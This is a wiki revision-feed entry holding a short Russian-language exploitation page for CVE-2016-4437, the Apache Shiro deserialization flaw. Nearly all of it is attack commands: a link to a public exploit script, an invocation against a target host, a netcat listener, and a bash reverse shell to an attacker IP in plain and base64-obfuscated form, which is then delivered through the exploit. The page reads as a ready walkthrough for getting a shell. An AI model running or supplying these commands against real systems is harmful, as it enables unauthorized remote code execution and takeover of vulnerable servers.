https://pwnwiki.com/index.php?action=history&feed=atom&title=CVE-2016-4437_Shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%2Fru
CVE-2016-4437 Shiro反序列化漏洞/ru - Revision history
2026-04-07T08:07:51Z
Revision history for this page on the wiki
MediaWiki 1.35.1
https://pwnwiki.com/index.php?title=CVE-2016-4437_Shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/ru&diff=1796&oldid=prev
Pwnwiki: Created page with "Машина-жертва выполняет следующую команду:"
2021-04-20T07:42:28Z
<p>Created page with "Машина-жертва выполняет следующую команду:"</p>
<p><b>New page</b></p><div><languages /><br />
<br />
==POC==<br />
https://github.com/insightglacier/Shiro_exploit<br />
<br />
<br />
==Эксплуатация уязвимостей==<br />
<pre><br />
python3 shiro_exploit.py -t 3 -u http://192.168.2.147:8080 -p "touch a.txt"<br />
</pre><br />
<br />
==Команда была выполнена успешно.==<br />
<br />
<br />
==Getshell==<br />
Слушатель выполняет следующие команды:<br />
<pre><br />
nc -lvp 666<br />
</pre><br />
<br />
Машина-жертва выполняет следующую команду:<br />
<pre><br />
bash -i >& /dev/tcp/192.168.2.130/6666 0>&1<br />
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTMwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}<br />
</pre><br />
<br />
<br />
<br />
<pre><br />
python3 shiro_exploit.py -t 3 -u http://192.168.2.147:8080 -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTMwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"<br />
</pre></div>
Pwnwiki